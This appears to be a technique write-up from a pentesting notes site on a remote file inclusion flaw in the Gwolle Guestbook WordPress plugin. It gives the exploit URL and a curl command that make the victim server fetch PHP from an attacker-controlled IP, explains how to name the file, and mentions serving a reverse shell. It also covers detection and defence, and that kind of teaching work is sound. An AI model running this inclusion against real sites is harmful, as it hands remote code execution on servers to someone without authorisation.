the_open_door
coffee
ESEN
← Back to index

Remote File Inclusion in Gwolle Guestbook (CVE-2015-8351)

ATT&CKT1190
Full command arsenal in the cheatsheet

The WordPress plugin Gwolle Guestbook, in version 1.5.3 and earlier, does not sanitise the abspath parameter of its captcha endpoint before passing it to a PHP require(). The result is an unauthenticated remote file inclusion: the victim server downloads a PHP file from wherever we say and executes it.

http://<host>/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://<our-ip>/

The technique is RFI; the CVE only says where the parameter is. Advisory HTB23275, CVSSv3 9.0, exploit-db 38861.

The detail that decides the file name. The plugin does not include what we write: it includes <abspath> with wp-load.php appended, with no slash in between. So the file we have to serve is not named whatever we like, and it pays to check before preparing anything:


curl 'http://<host>/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://<our-ip>/test'
10.129.1.185 - - [22/Oct/2026 18:08:58] "GET /testwp-load.php HTTP/1.0" 404 -

That 404 is ours and it does not matter: what the line proves is that the request arrived, and it pins the name along the way. If the plugin is going to ask for <whatever I write>wp-load.php, the file is called 1wp-load.php and the URL ends in /1. It is the cleanest out-of-band confirmation there is for an RFI, because the victim server acts as an HTTP client against us and that shows up in a single log line without having uploaded anything yet.

With the name pinned, the payload is any PHP that opens a reverse shell, served from the same http.server that just gave the flaw away.

And the readme.txt can lie. The version a plugin advertises is not always the one installed, so the out-of-band proof is worth more than the number: the request either arrives or it does not.

Requirements#

Gwolle Guestbook ≤ 1.5.3 installed and reachable (the plugin path is public, no account needed). For the remote inclusion, allow_url_include = 1 in the victim's PHP, which is the condition that almost never holds on a modern server; if it is 0, the same parameter still serves to include local files, and then this is an LFI and the route goes through poisoning a log or a file we can write. Plus outbound HTTP from the victim towards us, which is what the remote require() itself needs.

How to detect it. The signature has two halves and both are unmistakable. In the web server log, a request to ajaxresponse.php with an abspath= containing http://, https:// or ftp://: that parameter expects a local path, so a URL scheme inside it has no legitimate reading. And on the network, an outbound HTTP connection from the web server towards an address that is none of its dependencies, asking for a file ending in wp-load.php. After that, the usual: the web server process (www-data, apache) spawning sh, bash, python or nc as a child.

Defence. Update the plugin to a release later than 1.5.3, or remove it. Regardless of the version, allow_url_include = 0 and allow_url_fopen = 0 kill the whole RFI family at once, and an egress rule preventing the web server from initiating connections to the internet cuts both the inclusion and the reverse shell. A require() over user input is fixed with a whitelist of includable files, never by filtering characters.

Machines where it's used